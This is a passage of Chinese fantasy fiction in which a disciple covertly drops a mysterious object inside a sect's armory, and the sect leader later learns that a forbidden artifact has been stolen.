“都别说了,小心让师兄听见了……” 赴青阳直接走到队列的第一个,被他挤下去的那个弟子敢怒不敢言,往下退了一步、给他让路。 “进来吧。” 很快,武库中的上一位弟子离开,守卫将赴青阳带入山洞,一步不离跟随在他的身边。 赴青阳走进一扇石壁之中,佯装挑选法宝,微微转过眼珠,趁守卫一时没注意,极为隐蔽地伸手将一样东西无声扔到了地上。 那圆形的器物转眼便消失不见,骨碌碌滚到了最深处。 碰上一面黑色石壁,停了下来。 赴青阳神情阴鸷,随手拿了件东西,转身离开武库。 . 是夜。 “掌门!掌门!不好了!” “后山武库失窃了!” 横秋豁然起身:“丢了什么东西?” “一等禁物,罪、罪神之裁!”